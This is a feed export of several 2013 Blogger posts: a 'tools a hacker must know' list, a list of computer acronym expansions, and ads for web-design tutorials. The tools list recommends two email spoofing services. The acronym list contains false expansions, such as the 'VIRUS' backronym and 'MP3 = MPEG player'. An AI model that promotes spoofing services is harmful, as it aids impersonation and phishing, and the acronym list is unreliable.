</div>Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-74552825655592037792013-09-18T03:26:00.002-07:002013-09-18T03:26:36.611-07:0010 Free Online Tools a Hacker Must Know<div dir="ltr" style="text-align: left;" trbidi="on">
<h5 class="uiStreamMessage userContentWrapper" data-ft="{"type":1,"tn":"K"}">
<span class="messageBody" data-ft="{"type":3,"tn":"K"}"><span class="userContent">10 Free Online Tools a Hacker Must Know<br /> <br /> Credit By <a data-hovercard="/ajax/hovercard/page.php?id=518972328138102&extragetparams=%7B%22directed_target_id%22%3A0%7D" href="https://www.facebook.com/learnadvhacking?directed_target_id=0">Learn Advance Hacking</a><br /> <br /> I like the KISS rule, here you go:<span class="text_exposed_show"><br /> <br /> 1. Emkei’s Mailer (<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Femkei.cz%2F&h=CAQEtHhxxAQGfY4SjX1p2aKV8WLGzlslxMbIGqjCqeD2neg&s=1" rel="nofollow nofollow" target="_blank">http://emkei.cz/</a>) : Email Spoofer<br /> <br /> 2. GuerillaMail (<a href="http://guerrillamail.com/" rel="nofollow nofollow" target="_blank">http://guerrillamail.com/</a>) : Email Spoofer - better than emkei's mailer<br /> <br /> 3. Cloud9 (<a href="http://cloud9.io/" rel="nofollow nofollow" target="_blank">http://cloud9.io/</a>) : Your online IDE for editing code from any PC<br /> <br /> 4. Ideone.com (<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fideone.com%2F&h=wAQFz2nGVAQGxH-730kMmxEp5rkt6ENCXpqyA4miuCYo00Q&s=1" rel="nofollow nofollow" target="_blank">http://ideone.com/</a>) : Test your code, almost all languages.<br /> <br /> 5. TextMechanic (<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Ftextmechanic.com%2F&h=EAQGuCD_oAQEl9Knrnr8UyTh13SBDoyERJRE_vjRQbXijjQ&s=1" rel="nofollow nofollow" target="_blank">http://textmechanic.com/</a>) : Format your text, all at one site<br /> <br /> 6. Crypo (<a href="http://crypo.in.ua/tools/" rel="nofollow nofollow" target="_blank">http://crypo.in.ua/tools/</a>) : Compilation of all encryption/decryption tools on one place.<br /> <br /> 7. WebSniffer (<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fweb-sniffer.net%2F&h=5AQGhuKkdAQFSP0SLuR38hnheelFUdM1CuaLkDNPKhl0n-w&s=1" rel="nofollow nofollow" target="_blank">http://web-sniffer.net/</a>) : Check what are the headers/ HTTP return of a request<br /> <br /> 8. Ping.eu (<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fping.eu%2F&h=YAQHDSuUxAQGrSjJTWMQ5utur_E1jHDg0DWr_4jdMvNn0ng&s=1" rel="nofollow nofollow" target="_blank">http://ping.eu/</a>) : pinging / speed test / dns lookup<br /> <br /> 9. Plus.im (<a href="https://www.facebook.com/l.php?u=https%3A%2F%2Fplus.im%2F&h=nAQELJRwjAQE0AAwZJmg7U_zqkaXW95Y-YpaX-cPPtNZbew&s=1" rel="nofollow nofollow" target="_blank">https://plus.im/</a>) : All IM, online<br /> <br /> 10. Mail2Web (<a href="https://mail2web.com/login/" rel="nofollow nofollow" target="_blank">https://mail2web.com/login/</a>) : Accessing POP3 emails online</span></span></span></h5>
</div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-61684033306545816962013-09-18T03:02:00.002-07:002013-09-18T03:02:35.265-07:00Full form of computer terms<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="userContent" data-ft="{"tn":"K"}">Full form of computer terms:<br /> * HTTP - Hyper Text Transfer Protocol.<br /> * HTTPS - Hyper Text Transfer Protocol Secure.<br /> * IP - Internet Protocol.<br /> * URL - Uniform Resource Locator.<br /> * USB - Universal Serial Bus.<br /> * VIRUS - Vital Information Resource Under Seized.<br /> * 3G - 3rd Generation.<br /> * GSM - Global System for Mobile Communication.<br /> * CDMA - Code Divison Multiple Access.<span class="text_exposed_show"><br /> * UMTS - Universal Mobile Telecommunication<br /> System.<br /> * SIM - Subscriber Identity Module.<br /> * AVI = Audio Video Interleave<br /> * RTS = Real Time Streaming<br /> * SIS = Symbian OS Installer File<br /> * AMR = Adaptive Multi-Rate Codec<br /> * JAD = Java Application Descriptor<br /> * JAR = Java Archive<br /> * JAD = Java Application Descriptor<br /> * 3GPP = 3rd Generation Partnership Project<br /> * 3GP = 3rd Generation Project<br /> * MP3 = MPEG player lll<br /> * MP4 = MPEG-4 video file<br /> * AAC = Advanced Audio Coding<br /> * GIF = Graphic Interchangeable Format<br /> * JPEG = Joint Photographic Expert Group<br /> * BMP = Bitmap<br /> * SWF = Shock Wave Flash<br /> * WMV = Windows Media Video<br /> * WMA = Windows Media Audio<br /> * WAV = Waveform Audio<br /> * PNG = Portable Network Graphics<br /> * DOC = Document (Microsoft Corporation)<br /> * PDF = Portable Document Format<br /> * M3G = Mobile 3D Graphics<br /> * M4A = MPEG-4 Audio File<br /> * NTH = Nokia Theme (series 40)<br /> * THM = Themes (Sony Ericsson)<br /> * MMF = Synthetic Music Mobile Application File<br /> * NRT = Nokia Ringtone<br /> * XMF = Extensible Music File<br /> * WBMP = Wireless Bitmap Image<br /> * DVX = DivX Video<br /> * HTML = Hyper Text Markup Language<br /> * WML = Wireless Markup Language<br /> * CD - Compact Disk.<br /> * DVD - Digital Versatile Disk.<br /> * CRT - Cathode Ray Tube.<br /> * DAT - Digital Audio Tape.<br /> * DOS - Disk Operating System.<br /> * GUI - Graphical User Interface.<br /> * HTTP - Hyper Text Transfer Protocol.<br /> * IP - Internet Protocol.<br /> * ISP - Internet Service Provider.<br /> * TCP - Transmission Control Protocol.<br /> * UPS - Uninterruptible Power Supply.<br /> * HSDPA - High Speed Downlink Packet Access.<br /> * EDGE - Enhanced Data Rate for GSM [Global System for Mobile<br /> Communication] Evolution.<br /> * VHF - Very High Frequency.<br /> * UHF - Ultra High Frequency.<br /> * GPRS - General Packet Radio Service.<br /> * WAP - Wireless Application Protocol.<br /> * TCP - Transmission Control Protocol .<br /> * ARPANET - Advanced Research Project Agency Network.<br /> * IBM - International Business Machines.<br /> * HP - Hewlett Packard.<br /> * AM/FM - Amplitude/ Frequency Modulation.<br /> * WLAN - Wireless Local Area Network.</span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show"> </span></span><span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show"><a class="_58cn" data-pub="{"type":"hashtag","id":429846467136057,"source":null}" href="https://www.facebook.com/hashtag/technob0y">#programming</a></span></span></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-46700237613665579002013-08-23T03:00:00.002-07:002013-08-23T03:00:51.985-07:00Real Estate Web Design<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-VGqoaCJ5sbc/UhcyO-2Zj5I/AAAAAAAABMo/BvMUXcGD3hc/s1600/41.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-VGqoaCJ5sbc/UhcyO-2Zj5I/AAAAAAAABMo/BvMUXcGD3hc/s1600/41.jpg" height="186" width="320" /></a></div>
make this website from scratch to psd to htlm/css<br />
<br />
<br /></div>
<a href="http://payhip.com/b/lvYT" imageanchor="1"><img border="0" src="http://2.bp.blogspot.com/-cygil0ciudc/UZtE4Y027_I/AAAAAAAAA_o/buwvsLBLHNM/s320/download.jpg" /></a>
<a href="http://payhip.com/b/lvYT" onmouseout="this.style.backgroundPosition='0 0'" onmouseover="this.style.backgroundPosition='0 100%'" style="background-image: url('https://s3.amazonaws.com/payhip/buttons/embed-button-small.png'); background-repeat: no-repeat; display: inline-block; height: 31px; width: 112px;"></a></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-42966812569600596442013-08-23T02:55:00.003-07:002013-08-23T02:55:51.378-07:00Photography portfolio<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-jJEbr3AsNmI/UhcxGN2Lg_I/AAAAAAAABMg/wCC_J391hyc/s1600/107.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-jJEbr3AsNmI/UhcxGN2Lg_I/AAAAAAAABMg/wCC_J391hyc/s1600/107.jpg" height="320" width="314" /></a></div>
make this website step by step from scratch to psd to html/css<br />
<br />
<br /></div>
<a href="http://payhip.com/b/xv1A" imageanchor="1"><img border="0" src="http://2.bp.blogspot.com/-cygil0ciudc/UZtE4Y027_I/AAAAAAAAA_o/buwvsLBLHNM/s320/download.jpg" /></a>
<a href="http://payhip.com/b/xv1A" onmouseout="this.style.backgroundPosition='0 0'" onmouseover="this.style.backgroundPosition='0 100%'" style="background-image: url('https://s3.amazonaws.com/payhip/buttons/embed-button-small.png'); background-repeat: no-repeat; display: inline-block; height: 31px; width: 112px;"></a>
</div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0